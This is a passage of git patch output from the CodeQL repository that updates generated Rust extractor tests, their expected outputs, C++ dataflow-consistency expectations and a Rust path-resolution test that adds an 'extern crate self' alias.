f2b4679eb1ec095981fe6bd656b632c22bf6bd0da133309da3f7ef5bd1ab4b5d Module/gen_module.rs 815605a604fea1d9276684f8d6738a4e833eacad57ceeb27e2095fc450264fc1 815605a604fea1d9276684f8d6738a4e833eacad57ceeb27e2095fc450264fc1 Name/gen_name.rs 8a7fe65ee632a47d12eaa313e7248ac9210e5a381e9522499ca68f94c39e72c0 8a7fe65ee632a47d12eaa313e7248ac9210e5a381e9522499ca68f94c39e72c0 -NameRef/gen_name_ref.rs 74e7c112df2a764367792f51830561ee2f16777dd98098a5664869361f98c698 74e7c112df2a764367792f51830561ee2f16777dd98098a5664869361f98c698 +NameRef/gen_name_ref.rs c8c922e77a7d62b8272359ccdabbf7e15411f31ca85f15a3afdd94bec7ec64e7 c8c922e77a7d62b8272359ccdabbf7e15411f31ca85f15a3afdd94bec7ec64e7 NeverTypeRepr/gen_never_type_repr.rs cc7d1c861eaf89772109f142815839976f25f89956ed1b11822df5e7e333d6d4 cc7d1c861eaf89772109f142815839976f25f89956ed1b11822df5e7e333d6d4 OffsetOfExpr/gen_offset_of_expr.rs 8e2077b4d7b85c91c17c3630511bc4f929950e9007261cbf0471c4a064c4b934 8e2077b4d7b85c91c17c3630511bc4f929950e9007261cbf0471c4a064c4b934 OrPat/gen_or_pat.rs 71feef6e056bfe4cc8c22c9eb54fa3fecef613606769061d0efd059adbbd6f56 71feef6e056bfe4cc8c22c9eb54fa3fecef613606769061d0efd059adbbd6f56 Param/gen_param.rs 39f3979d6cb10e4c43e0b5601af2a92b7520a75a104211955bbbb5e6f13e9db9 39f3979d6cb10e4c43e0b5601af2a92b7520a75a104211955bbbb5e6f13e9db9 ParamList/gen_param_list.rs a842001c434b9716a131a77b5ec78ee5dd911ef7c42d22bf5e7bdac24c9a20bd a842001c434b9716a131a77b5ec78ee5dd911ef7c42d22bf5e7bdac24c9a20bd -ParenExpr/gen_paren_expr.rs 58f59d66e833f1baeb0a61b4e8b5dc97680daad78bd0e90627f6dbb1ed0c62e0 58f59d66e833f1baeb0a61b4e8b5dc97680daad78bd0e90627f6dbb1ed0c62e0 +ParenExpr/gen_paren_expr.rs caaf419c59d65ca911479dea7d62756a55593b3da65b02942a36abd975389f29 caaf419c59d65ca911479dea7d62756a55593b3da65b02942a36abd975389f29 ParenPat/gen_paren_pat.rs 47a0c5b6ec3e51452c2c2e6882ed98aca9891b08246ec231484df8d226985212 47a0c5b6ec3e51452c2c2e6882ed98aca9891b08246ec231484df8d226985212 ParenTypeRepr/gen_paren_type_repr.rs 28194256a3d7bdcc49283f4be5e3ad3efb0ea2996126abed2a76c6cd9954c879 28194256a3d7bdcc49283f4be5e3ad3efb0ea2996126abed2a76c6cd9954c879 ParenthesizedArgList/gen_parenthesized_arg_list.rs 161083eb292e1d70ca97b5afda8e27bc96db95678b39cb680de638ac0e49be72 161083eb292e1d70ca97b5afda8e27bc96db95678b39cb680de638ac0e49be72 @@ -115,7 +115,7 @@ SliceTypeRepr/gen_slice_type_repr.rs 4a85402d40028c5a40ef35018453a89700b2171bc62 SourceFile/gen_source_file.rs c0469cc8f0ecce3dd2e77963216d7e8808046014533359a44c1698e48783b420 c0469cc8f0ecce3dd2e77963216d7e8808046014533359a44c1698e48783b420 Static/gen_static.rs 21314018ea184c1ddcb594d67bab97ae18ceaf663d9f120f39ff755d389dde7a 21314018ea184c1ddcb594d67bab97ae18ceaf663d9f120f39ff755d389dde7a StmtList/gen_stmt_list.rs adbd82045a50e2051434ce3cdd524c9f2c6ad9f3dd02b4766fb107e2e99212db adbd82045a50e2051434ce3cdd524c9f2c6ad9f3dd02b4766fb107e2e99212db -Struct/gen_struct.rs 8de3861997dfdd525b93bf8f8a857ed3e6b4d014a35d8a9298a236f2ff476a34 8de3861997dfdd525b93bf8f8a857ed3e6b4d014a35d8a9298a236f2ff476a34 +Struct/gen_struct.rs 5e181e90075f716c04c75e4ef0334abe3d5f419cd9ccfadfe595c09fab33566b 5e181e90075f716c04c75e4ef0334abe3d5f419cd9ccfadfe595c09fab33566b StructExpr/gen_struct_expr.rs 8dd9a578625a88623c725b8afdfd8b636e1c3c991fe96c55b24d4b283d2212fb 8dd9a578625a88623c725b8afdfd8b636e1c3c991fe96c55b24d4b283d2212fb StructExprField/gen_struct_expr_field.rs 4ccca8e8ad462b4873f5604f0afdd1836027b8d39e36fbe7d6624ef3e744a084 4ccca8e8ad462b4873f5604f0afdd1836027b8d39e36fbe7d6624ef3e744a084 StructExprFieldList/gen_struct_expr_field_list.rs bc17e356690cfb1cd51f7dbe5ac88c0b9188c9bf94b9e3cc82581120190f33dc bc17e356690cfb1cd51f7dbe5ac88c0b9188c9bf94b9e3cc82581120190f33dc @@ -124,7 +124,7 @@ StructFieldList/gen_struct_field_list.rs 3c24edef6a92a1b7bb785012d1e53eb69197fb6 StructPat/gen_struct_pat.rs 3f972ff8a76acb61ef48bdea92d2fac8b1005449d746e6188fd5486b1f542e5c 3f972ff8a76acb61ef48bdea92d2fac8b1005449d746e6188fd5486b1f542e5c StructPatField/gen_struct_pat_field.rs dfdab8cef7dcfee40451744c8d2c7c4ae67fdb8bd054b894c08d62997942f364 dfdab8cef7dcfee40451744c8d2c7c4ae67fdb8bd054b894c08d62997942f364 StructPatFieldList/gen_struct_pat_field_list.rs 06c0e56c78a6b28909d94d9519ba41ac8a6005741f82b947ef14db51e8cbebd0 06c0e56c78a6b28909d94d9519ba41ac8a6005741f82b947ef14db51e8cbebd0 -TokenTree/gen_token_tree.rs 694d5ea71e00792374f771c74532abd66f0af637f87fe3203630aa7ef866a96f 694d5ea71e00792374f771c74532abd66f0af637f87fe3203630aa7ef866a96f +TokenTree/gen_token_tree.rs 3fdc9a36a1870bb2bedf66c8fe37d368f4ac18488e7118b86e3979d3957a8f94 3fdc9a36a1870bb2bedf66c8fe37d368f4ac18488e7118b86e3979d3957a8f94 Trait/gen_trait.rs bac694993e224f9c6dd86cfb28c54846ae1b3bae45a1e58d3149c884184487ea bac694993e224f9c6dd86cfb28c54846ae1b3bae45a1e58d3149c884184487ea TraitAlias/gen_trait_alias.rs 425d78a7cb87db7737ceaf713c9a62e0411537374d1bc58c5b1fb80cc25732c9 425d78a7cb87db7737ceaf713c9a62e0411537374d1bc58c5b1fb80cc25732c9 TryExpr/gen_try_expr.rs f60198181a423661f4ed1bf6f98d475f40ada190b7b5fc6af97aa5e45ca29a1e f60198181a423661f4ed1bf6f98d475f40ada190b7b5fc6af97aa5e45ca29a1e @@ -143,11 +143,11 @@ UnderscoreExpr/gen_underscore_expr.rs fe34e99d322bf86c0f5509c9b5fd6e1e8abbdf63db Union/gen_union.rs 0adc276bf324661137b4de7c4522afd5f7b2776e913c4a6ecc580ce3d753a51d 0adc276bf324661137b4de7c4522afd5f7b2776e913c4a6ecc580ce3d753a51d Use/gen_use.rs 3a8a426109080ce2a0ed5a68a83cfa195196c9f0a14eff328b7be54d1131eede 3a8a426109080ce2a0ed5a68a83cfa195196c9f0a14eff328b7be54d1131eede UseBoundGenericArgs/gen_use_bound_generic_args.rs 1da801583b77f5f064d729a1d4313a863f1ad2e1dcc11c963194839cba977367 1da801583b77f5f064d729a1d4313a863f1ad2e1dcc11c963194839cba977367 -UseTree/gen_use_tree.rs cccf4c2c9045548ffd9f58e93b46aa434c0ca0671641863e7558047097db5dee cccf4c2c9045548ffd9f58e93b46aa434c0ca0671641863e7558047097db5dee -UseTreeList/gen_use_tree_list.rs 6fc13cab53bb77475005499da717c7cd55648ba4c4d7d32c422624760ca6afc3 6fc13cab53bb77475005499da717c7cd55648ba4c4d7d32c422624760ca6afc3 +UseTree/gen_use_tree.rs 90660192ec361e96d0fee9dc03c34fcdf0a102269df33be45856c63ad5d18ff2 90660192ec361e96d0fee9dc03c34fcdf0a102269df33be45856c63ad5d18ff2 +UseTreeList/gen_use_tree_list.rs 2494aadcec03a3f7a6e2ae448ee70ec6774f840e9519c668b2afe8cd968211c9 2494aadcec03a3f7a6e2ae448ee70ec6774f840e9519c668b2afe8cd968211c9 Variant/gen_variant.rs fa3d3a9e3e0c3aa565b965fad9c3dc2ffd5a8d82963e3a55a9acbb0f14b603d6 fa3d3a9e3e0c3aa565b965fad9c3dc2ffd5a8d82963e3a55a9acbb0f14b603d6 VariantList/gen_variant_list.rs a1faa4d59b072f139d14cb8a6d63a0ce8c473170d6320a07ce6bb9d517f8486d a1faa4d59b072f139d14cb8a6d63a0ce8c473170d6320a07ce6bb9d517f8486d -Visibility/gen_visibility.rs 696f86b56e28a17ffb373170e192a76c288b0750dfa6e64fac0d8b4a77b0468c 696f86b56e28a17ffb373170e192a76c288b0750dfa6e64fac0d8b4a77b0468c +Visibility/gen_visibility.rs cfa4b05fa7ba7c4ffa8f9c880b13792735e4f7e92a648f43110e914075e97a52 cfa4b05fa7ba7c4ffa8f9c880b13792735e4f7e92a648f43110e914075e97a52 WhereClause/gen_where_clause.rs 22522c933be47f8f7f9d0caddfa41925c08df343c564baad2fe2daa14f1bfb1a 22522c933be47f8f7f9d0caddfa41925c08df343c564baad2fe2daa14f1bfb1a WherePred/gen_where_pred.rs dbc7bf0f246a04b42783f910c6f09841393f0e0a78f0a584891a99d0cf461619 dbc7bf0f246a04b42783f910c6f09841393f0e0a78f0a584891a99d0cf461619 WhileExpr/gen_while_expr.rs 97276c5946a36001638491c99a36170d22bc6011c5e59f621b37c7a2d7737879 97276c5946a36001638491c99a36170d22bc6011c5e59f621b37c7a2d7737879 diff --git a/rust/ql/test/extractor-tests/generated/ForTypeRepr/gen_for_type_repr.rs b/rust/ql/test/extractor-tests/generated/ForTypeRepr/gen_for_type_repr.rs index ccd73685feb..49cd9e5c1ab 100644 --- a/rust/ql/test/extractor-tests/generated/ForTypeRepr/gen_for_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/ForTypeRepr/gen_for_type_repr.rs @@ -1,7 +1,7 @@ // generated by codegen, do not edit fn test_for_type_repr() -> () { - // A higher-ranked trait bound(HRTB) type. + // A higher-ranked trait bound. // // For example: fn foo(value: T) diff --git a/rust/ql/test/extractor-tests/generated/MacroCall/gen_macro_call.rs b/rust/ql/test/extractor-tests/generated/MacroCall/gen_macro_call.rs index 0de0a929a99..ababca69009 100644 --- a/rust/ql/test/extractor-tests/generated/MacroCall/gen_macro_call.rs +++ b/rust/ql/test/extractor-tests/generated/MacroCall/gen_macro_call.rs @@ -5,5 +5,4 @@ fn test_macro_call() -> () { // // For example: println!("Hello, world!"); - //^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/NameRef/gen_name_ref.rs b/rust/ql/test/extractor-tests/generated/NameRef/gen_name_ref.rs index 62790540dc9..99f7e6a80e5 100644 --- a/rust/ql/test/extractor-tests/generated/NameRef/gen_name_ref.rs +++ b/rust/ql/test/extractor-tests/generated/NameRef/gen_name_ref.rs @@ -4,6 +4,6 @@ fn test_name_ref() -> () { // A reference to a name. // // For example: - foo(); + foo(); //^^^ } diff --git a/rust/ql/test/extractor-tests/generated/ParenExpr/gen_paren_expr.rs b/rust/ql/test/extractor-tests/generated/ParenExpr/gen_paren_expr.rs index ba9f71314bb..292053784d8 100644 --- a/rust/ql/test/extractor-tests/generated/ParenExpr/gen_paren_expr.rs +++ b/rust/ql/test/extractor-tests/generated/ParenExpr/gen_paren_expr.rs @@ -5,5 +5,4 @@ fn test_paren_expr() -> () { // // For example: (x + y) - //^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/Struct/gen_struct.rs b/rust/ql/test/extractor-tests/generated/Struct/gen_struct.rs index 4314b4a4759..253a554e3f9 100644 --- a/rust/ql/test/extractor-tests/generated/Struct/gen_struct.rs +++ b/rust/ql/test/extractor-tests/generated/Struct/gen_struct.rs @@ -3,7 +3,7 @@ fn test_struct() -> () { // A Struct. For example: struct Point { - x: i32, + x: i32, y: i32, } } diff --git a/rust/ql/test/extractor-tests/generated/TokenTree/gen_token_tree.rs b/rust/ql/test/extractor-tests/generated/TokenTree/gen_token_tree.rs index 1c553ba41f1..be742ecc27d 100644 --- a/rust/ql/test/extractor-tests/generated/TokenTree/gen_token_tree.rs +++ b/rust/ql/test/extractor-tests/generated/TokenTree/gen_token_tree.rs @@ -7,5 +7,5 @@ fn test_token_tree() -> () { println!("{} {}!", "Hello", "world"); // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ macro_rules! foo { ($x:expr) => { $x + 1 }; } - // ^^^^^^^^^^^^^^^^^^^^^^^ + // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/UseTree/gen_use_tree.rs b/rust/ql/test/extractor-tests/generated/UseTree/gen_use_tree.rs index 176990c139a..2acaed7e426 100644 --- a/rust/ql/test/extractor-tests/generated/UseTree/gen_use_tree.rs +++ b/rust/ql/test/extractor-tests/generated/UseTree/gen_use_tree.rs @@ -1,7 +1,7 @@ // generated by codegen, do not edit fn test_use_tree() -> () { - // A `use` tree, ie the part after the `use` keyword in a `use` statement. For example: + // A `use` tree, that is, the part after the `use` keyword in a `use` statement. For example: use std::collections::HashMap; use std::collections::*; use std::collections::HashMap as MyHashMap; diff --git a/rust/ql/test/extractor-tests/generated/UseTreeList/gen_use_tree_list.rs b/rust/ql/test/extractor-tests/generated/UseTreeList/gen_use_tree_list.rs index 63eba516c3f..f0516ba2274 100644 --- a/rust/ql/test/extractor-tests/generated/UseTreeList/gen_use_tree_list.rs +++ b/rust/ql/test/extractor-tests/generated/UseTreeList/gen_use_tree_list.rs @@ -5,5 +5,5 @@ fn test_use_tree_list() -> () { // // For example: use std::{fs, io}; - // ^^^^^^^ + // ^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/Visibility/gen_visibility.rs b/rust/ql/test/extractor-tests/generated/Visibility/gen_visibility.rs index 7d8f0a81e26..6f2292f2359 100644 --- a/rust/ql/test/extractor-tests/generated/Visibility/gen_visibility.rs +++ b/rust/ql/test/extractor-tests/generated/Visibility/gen_visibility.rs @@ -4,6 +4,6 @@ fn test_visibility() -> () { // A visibility modifier. // // For example: - pub struct S; + pub struct S; //^^^ } From 39851bcab43b1b0206d646d88240af2bb8cac7b8 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Wed, 4 Jun 2025 11:13:19 +0200 Subject: [PATCH 159/271] Rust: update expected output --- rust/ql/test/extractor-tests/generated/NameRef/NameRef.expected | 2 +- .../extractor-tests/generated/NameRef/NameRef_getText.expected | 2 +- .../extractor-tests/generated/Visibility/Visibility.expected | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/rust/ql/test/extractor-tests/generated/NameRef/NameRef.expected b/rust/ql/test/extractor-tests/generated/NameRef/NameRef.expected index c53970b943b..a73f8a02945 100644 --- a/rust/ql/test/extractor-tests/generated/NameRef/NameRef.expected +++ b/rust/ql/test/extractor-tests/generated/NameRef/NameRef.expected @@ -1 +1 @@ -| gen_name_ref.rs:7:5:7:7 | foo | hasText: | yes | +| gen_name_ref.rs:7:7:7:9 | foo | hasText: | yes | diff --git a/rust/ql/test/extractor-tests/generated/NameRef/NameRef_getText.expected b/rust/ql/test/extractor-tests/generated/NameRef/NameRef_getText.expected index 651b70330b3..1b98842e5ec 100644 --- a/rust/ql/test/extractor-tests/generated/NameRef/NameRef_getText.expected +++ b/rust/ql/test/extractor-tests/generated/NameRef/NameRef_getText.expected @@ -1 +1 @@ -| gen_name_ref.rs:7:5:7:7 | foo | foo | +| gen_name_ref.rs:7:7:7:9 | foo | foo | diff --git a/rust/ql/test/extractor-tests/generated/Visibility/Visibility.expected b/rust/ql/test/extractor-tests/generated/Visibility/Visibility.expected index ce221742c76..7be919b547e 100644 --- a/rust/ql/test/extractor-tests/generated/Visibility/Visibility.expected +++ b/rust/ql/test/extractor-tests/generated/Visibility/Visibility.expected @@ -1 +1 @@ -| gen_visibility.rs:7:5:7:7 | Visibility | hasPath: | no | +| gen_visibility.rs:7:7:7:9 | Visibility | hasPath: | no | From 149c53bef66fd9b592692801bbc7524cbe52d296 Mon Sep 17 00:00:00 2001 From: idrissrio Date: Tue, 20 May 2025 09:08:59 +0200 Subject: [PATCH 160/271] C++: accept new test results after changes --- .../library-tests/syntax-zoo/dataflow-consistency.expected | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/cpp/ql/test/library-tests/syntax-zoo/dataflow-consistency.expected b/cpp/ql/test/library-tests/syntax-zoo/dataflow-consistency.expected index 064c4e01e2b..b516aa0ce87 100644 --- a/cpp/ql/test/library-tests/syntax-zoo/dataflow-consistency.expected +++ b/cpp/ql/test/library-tests/syntax-zoo/dataflow-consistency.expected @@ -1,4 +1,10 @@ uniqueEnclosingCallable +| builtin.c:14:3:14:16 | ... * ... | Node should have one enclosing callable but has 0. | +| builtin.c:14:3:14:16 | sizeof(int) | Node should have one enclosing callable but has 0. | +| builtin.c:14:10:14:10 | 4 | Node should have one enclosing callable but has 0. | +| builtin.c:15:3:15:16 | ... * ... | Node should have one enclosing callable but has 0. | +| builtin.c:15:3:15:16 | sizeof(int) | Node should have one enclosing callable but has 0. | +| builtin.c:15:10:15:10 | 4 | Node should have one enclosing callable but has 0. | | enum.c:2:6:2:6 | 1 | Node should have one enclosing callable but has 0. | | enum.c:2:6:2:10 | ... + ... | Node should have one enclosing callable but has 0. | | enum.c:2:10:2:10 | 1 | Node should have one enclosing callable but has 0. | From 4fb4bfd6cf6eaeab5a63f9bda4859105cac6ed6a Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Wed, 28 May 2025 17:10:39 +0200 Subject: [PATCH 161/271] Rust: Add path resolution test for extern crate --- .../library-tests/path-resolution/main.rs | 5 +- .../path-resolution/path-resolution.expected | 139 +++++++++--------- 2 files changed, 73 insertions(+), 71 deletions(-) diff --git a/rust/ql/test/library-tests/path-resolution/main.rs b/rust/ql/test/library-tests/path-resolution/main.rs index ce44915a9d4..3b68cff897a 100644 --- a/rust/ql/test/library-tests/path-resolution/main.rs +++ b/rust/ql/test/library-tests/path-resolution/main.rs @@ -285,7 +285,7 @@ mod m13 { pub struct f {} // I72 mod m14 { - use crate::m13::f; // $ item=I71 item=I72 + use zelf::m13::f; // $ item=I71 item=I72 #[rustfmt::skip] fn g(x: f) { // $ item=I72 @@ -621,6 +621,8 @@ mod m24 { } // I121 } +extern crate self as zelf; + fn main() { my::nested::nested1::nested2::f(); // $ item=I4 my::f(); // $ item=I38 @@ -650,4 +652,5 @@ fn main() { m18::m19::m20::g(); // $ item=I103 m23::f(); // $ item=I108 m24::f(); // $ item=I121 + zelf::h(); // $ item=I25 } diff --git a/rust/ql/test/library-tests/path-resolution/path-resolution.expected b/rust/ql/test/library-tests/path-resolution/path-resolution.expected index 054905f3909..67653ba472f 100644 --- a/rust/ql/test/library-tests/path-resolution/path-resolution.expected +++ b/rust/ql/test/library-tests/path-resolution/path-resolution.expected @@ -61,7 +61,7 @@ resolvePath | main.rs:30:17:30:21 | super | main.rs:18:5:36:5 | mod m2 | | main.rs:30:17:30:24 | ...::f | main.rs:19:9:21:9 | fn f | | main.rs:33:17:33:17 | f | main.rs:19:9:21:9 | fn f | -| main.rs:40:9:40:13 | super | main.rs:1:1:653:2 | SourceFile | +| main.rs:40:9:40:13 | super | main.rs:1:1:656:2 | SourceFile | | main.rs:40:9:40:17 | ...::m1 | main.rs:13:1:37:1 | mod m1 | | main.rs:40:9:40:21 | ...::m2 | main.rs:18:5:36:5 | mod m2 | | main.rs:40:9:40:24 | ...::g | main.rs:23:9:27:9 | fn g | @@ -73,7 +73,7 @@ resolvePath | main.rs:61:17:61:19 | Foo | main.rs:59:9:59:21 | struct Foo | | main.rs:64:13:64:15 | Foo | main.rs:53:5:53:17 | struct Foo | | main.rs:66:5:66:5 | f | main.rs:55:5:62:5 | fn f | -| main.rs:68:5:68:8 | self | main.rs:1:1:653:2 | SourceFile | +| main.rs:68:5:68:8 | self | main.rs:1:1:656:2 | SourceFile | | main.rs:68:5:68:11 | ...::i | main.rs:71:1:83:1 | fn i | | main.rs:74:13:74:15 | Foo | main.rs:48:1:48:13 | struct Foo | | main.rs:78:16:78:18 | i32 | {EXTERNAL LOCATION} | struct i32 | @@ -88,7 +88,7 @@ resolvePath | main.rs:87:57:87:66 | ...::g | my2/nested2.rs:7:9:9:9 | fn g | | main.rs:87:80:87:86 | nested4 | my2/nested2.rs:2:5:10:5 | mod nested4 | | main.rs:100:5:100:22 | f_defined_in_macro | main.rs:99:18:99:42 | fn f_defined_in_macro | -| main.rs:117:13:117:17 | super | main.rs:1:1:653:2 | SourceFile | +| main.rs:117:13:117:17 | super | main.rs:1:1:656:2 | SourceFile | | main.rs:117:13:117:21 | ...::m5 | main.rs:103:1:107:1 | mod m5 | | main.rs:118:9:118:9 | f | main.rs:104:5:106:5 | fn f | | main.rs:118:9:118:9 | f | main.rs:110:5:112:5 | fn f | @@ -145,13 +145,6 @@ resolvePath | main.rs:278:16:278:16 | T | main.rs:272:7:272:7 | T | | main.rs:279:14:279:17 | Self | main.rs:270:5:280:5 | trait MyParamTrait | | main.rs:279:14:279:33 | ...::AssociatedType | main.rs:274:9:274:28 | type AssociatedType | -| main.rs:288:13:288:17 | crate | main.rs:0:0:0:0 | Crate(main@0.0.1) | -| main.rs:288:13:288:22 | ...::m13 | main.rs:283:1:296:1 | mod m13 | -| main.rs:288:13:288:25 | ...::f | main.rs:284:5:284:17 | fn f | -| main.rs:288:13:288:25 | ...::f | main.rs:284:19:285:19 | struct f | -| main.rs:291:17:291:17 | f | main.rs:284:19:285:19 | struct f | -| main.rs:292:21:292:21 | f | main.rs:284:19:285:19 | struct f | -| main.rs:293:13:293:13 | f | main.rs:284:5:284:17 | fn f | | main.rs:307:9:307:14 | Trait1 | main.rs:299:5:303:5 | trait Trait1 | | main.rs:310:13:310:16 | Self | main.rs:305:5:313:5 | trait Trait2 | | main.rs:310:13:310:19 | ...::g | main.rs:302:9:302:20 | fn g | @@ -266,65 +259,65 @@ resolvePath | main.rs:620:9:620:36 | GenericStruct::<...> | main.rs:563:5:566:5 | struct GenericStruct | | main.rs:620:9:620:47 | ...::call_both | main.rs:586:9:589:9 | fn call_both | | main.rs:620:25:620:35 | Implementor | main.rs:592:5:592:23 | struct Implementor | -| main.rs:625:5:625:6 | my | main.rs:1:1:1:7 | mod my | -| main.rs:625:5:625:14 | ...::nested | my.rs:1:1:1:15 | mod nested | -| main.rs:625:5:625:23 | ...::nested1 | my/nested.rs:1:1:17:1 | mod nested1 | -| main.rs:625:5:625:32 | ...::nested2 | my/nested.rs:2:5:11:5 | mod nested2 | -| main.rs:625:5:625:35 | ...::f | my/nested.rs:3:9:5:9 | fn f | -| main.rs:626:5:626:6 | my | main.rs:1:1:1:7 | mod my | -| main.rs:626:5:626:9 | ...::f | my.rs:5:1:7:1 | fn f | -| main.rs:627:5:627:11 | nested2 | my2/mod.rs:1:1:1:16 | mod nested2 | -| main.rs:627:5:627:20 | ...::nested3 | my2/nested2.rs:1:1:11:1 | mod nested3 | -| main.rs:627:5:627:29 | ...::nested4 | my2/nested2.rs:2:5:10:5 | mod nested4 | -| main.rs:627:5:627:32 | ...::f | my2/nested2.rs:3:9:5:9 | fn f | -| main.rs:628:5:628:5 | f | my2/nested2.rs:3:9:5:9 | fn f | -| main.rs:629:5:629:5 | g | my2/nested2.rs:7:9:9:9 | fn g | -| main.rs:630:5:630:9 | crate | main.rs:0:0:0:0 | Crate(main@0.0.1) | -| main.rs:630:5:630:12 | ...::h | main.rs:50:1:69:1 | fn h | -| main.rs:631:5:631:6 | m1 | main.rs:13:1:37:1 | mod m1 | -| main.rs:631:5:631:10 | ...::m2 | main.rs:18:5:36:5 | mod m2 | -| main.rs:631:5:631:13 | ...::g | main.rs:23:9:27:9 | fn g | -| main.rs:632:5:632:6 | m1 | main.rs:13:1:37:1 | mod m1 | -| main.rs:632:5:632:10 | ...::m2 | main.rs:18:5:36:5 | mod m2 | -| main.rs:632:5:632:14 | ...::m3 | main.rs:29:9:35:9 | mod m3 | -| main.rs:632:5:632:17 | ...::h | main.rs:30:27:34:13 | fn h | -| main.rs:633:5:633:6 | m4 | main.rs:39:1:46:1 | mod m4 | -| main.rs:633:5:633:9 | ...::i | main.rs:42:5:45:5 | fn i | -| main.rs:634:5:634:5 | h | main.rs:50:1:69:1 | fn h | -| main.rs:635:5:635:11 | f_alias | my2/nested2.rs:3:9:5:9 | fn f | -| main.rs:636:5:636:11 | g_alias | my2/nested2.rs:7:9:9:9 | fn g | -| main.rs:637:5:637:5 | j | main.rs:97:1:101:1 | fn j | -| main.rs:638:5:638:6 | m6 | main.rs:109:1:120:1 | mod m6 | -| main.rs:638:5:638:9 | ...::g | main.rs:114:5:119:5 | fn g | -| main.rs:639:5:639:6 | m7 | main.rs:122:1:141:1 | mod m7 | -| main.rs:639:5:639:9 | ...::f | main.rs:133:5:140:5 | fn f | -| main.rs:640:5:640:6 | m8 | main.rs:143:1:197:1 | mod m8 | -| main.rs:640:5:640:9 | ...::g | main.rs:181:5:196:5 | fn g | -| main.rs:641:5:641:6 | m9 | main.rs:199:1:207:1 | mod m9 | -| main.rs:641:5:641:9 | ...::f | main.rs:202:5:206:5 | fn f | -| main.rs:642:5:642:7 | m11 | main.rs:230:1:267:1 | mod m11 | -| main.rs:642:5:642:10 | ...::f | main.rs:235:5:238:5 | fn f | -| main.rs:643:5:643:7 | m15 | main.rs:298:1:352:1 | mod m15 | -| main.rs:643:5:643:10 | ...::f | main.rs:339:5:351:5 | fn f | -| main.rs:644:5:644:7 | m16 | main.rs:354:1:446:1 | mod m16 | -| main.rs:644:5:644:10 | ...::f | main.rs:421:5:445:5 | fn f | -| main.rs:645:5:645:7 | m17 | main.rs:448:1:478:1 | mod m17 | -| main.rs:645:5:645:10 | ...::f | main.rs:472:5:477:5 | fn f | -| main.rs:646:5:646:11 | nested6 | my2/nested2.rs:14:5:18:5 | mod nested6 | -| main.rs:646:5:646:14 | ...::f | my2/nested2.rs:15:9:17:9 | fn f | -| main.rs:647:5:647:11 | nested8 | my2/nested2.rs:22:5:26:5 | mod nested8 | -| main.rs:647:5:647:14 | ...::f | my2/nested2.rs:23:9:25:9 | fn f | -| main.rs:648:5:648:7 | my3 | my2/mod.rs:12:1:12:12 | mod my3 | -| main.rs:648:5:648:10 | ...::f | my2/my3/mod.rs:1:1:5:1 | fn f | -| main.rs:649:5:649:12 | nested_f | my/my4/my5/mod.rs:1:1:3:1 | fn f | -| main.rs:650:5:650:7 | m18 | main.rs:480:1:498:1 | mod m18 | -| main.rs:650:5:650:12 | ...::m19 | main.rs:485:5:497:5 | mod m19 | -| main.rs:650:5:650:17 | ...::m20 | main.rs:490:9:496:9 | mod m20 | -| main.rs:650:5:650:20 | ...::g | main.rs:491:13:495:13 | fn g | -| main.rs:651:5:651:7 | m23 | main.rs:527:1:552:1 | mod m23 | -| main.rs:651:5:651:10 | ...::f | main.rs:547:5:551:5 | fn f | -| main.rs:652:5:652:7 | m24 | main.rs:554:1:622:1 | mod m24 | -| main.rs:652:5:652:10 | ...::f | main.rs:608:5:621:5 | fn f | +| main.rs:627:5:627:6 | my | main.rs:1:1:1:7 | mod my | +| main.rs:627:5:627:14 | ...::nested | my.rs:1:1:1:15 | mod nested | +| main.rs:627:5:627:23 | ...::nested1 | my/nested.rs:1:1:17:1 | mod nested1 | +| main.rs:627:5:627:32 | ...::nested2 | my/nested.rs:2:5:11:5 | mod nested2 | +| main.rs:627:5:627:35 | ...::f | my/nested.rs:3:9:5:9 | fn f | +| main.rs:628:5:628:6 | my | main.rs:1:1:1:7 | mod my | +| main.rs:628:5:628:9 | ...::f | my.rs:5:1:7:1 | fn f | +| main.rs:629:5:629:11 | nested2 | my2/mod.rs:1:1:1:16 | mod nested2 | +| main.rs:629:5:629:20 | ...::nested3 | my2/nested2.rs:1:1:11:1 | mod nested3 | +| main.rs:629:5:629:29 | ...::nested4 | my2/nested2.rs:2:5:10:5 | mod nested4 | +| main.rs:629:5:629:32 | ...::f | my2/nested2.rs:3:9:5:9 | fn f | +| main.rs:630:5:630:5 | f | my2/nested2.rs:3:9:5:9 | fn f | +| main.rs:631:5:631:5 | g | my2/nested2.rs:7:9:9:9 | fn g | +| main.rs:632:5:632:9 | crate | main.rs:0:0:0:0 | Crate(main@0.0.1) | +| main.rs:632:5:632:12 | ...::h | main.rs:50:1:69:1 | fn h | +| main.rs:633:5:633:6 | m1 | main.rs:13:1:37:1 | mod m1 | +| main.rs:633:5:633:10 | ...::m2 | main.rs:18:5:36:5 | mod m2 | +| main.rs:633:5:633:13 | ...::g | main.rs:23:9:27:9 | fn g | +| main.rs:634:5:634:6 | m1 | main.rs:13:1:37:1 | mod m1 | +| main.rs:634:5:634:10 | ...::m2 | main.rs:18:5:36:5 | mod m2 | +| main.rs:634:5:634:14 | ...::m3 | main.rs:29:9:35:9 | mod m3 | +| main.rs:634:5:634:17 | ...::h | main.rs:30:27:34:13 | fn h | +| main.rs:635:5:635:6 | m4 | main.rs:39:1:46:1 | mod m4 | +| main.rs:635:5:635:9 | ...::i | main.rs:42:5:45:5 | fn i | +| main.rs:636:5:636:5 | h | main.rs:50:1:69:1 | fn h | +| main.rs:637:5:637:11 | f_alias | my2/nested2.rs:3:9:5:9 | fn f | +| main.rs:638:5:638:11 | g_alias | my2/nested2.rs:7:9:9:9 | fn g | +| main.rs:639:5:639:5 | j | main.rs:97:1:101:1 | fn j | +| main.rs:640:5:640:6 | m6 | main.rs:109:1:120:1 | mod m6 | +| main.rs:640:5:640:9 | ...::g | main.rs:114:5:119:5 | fn g | +| main.rs:641:5:641:6 | m7 | main.rs:122:1:141:1 | mod m7 | +| main.rs:641:5:641:9 | ...::f | main.rs:133:5:140:5 | fn f | +| main.rs:642:5:642:6 | m8 | main.rs:143:1:197:1 | 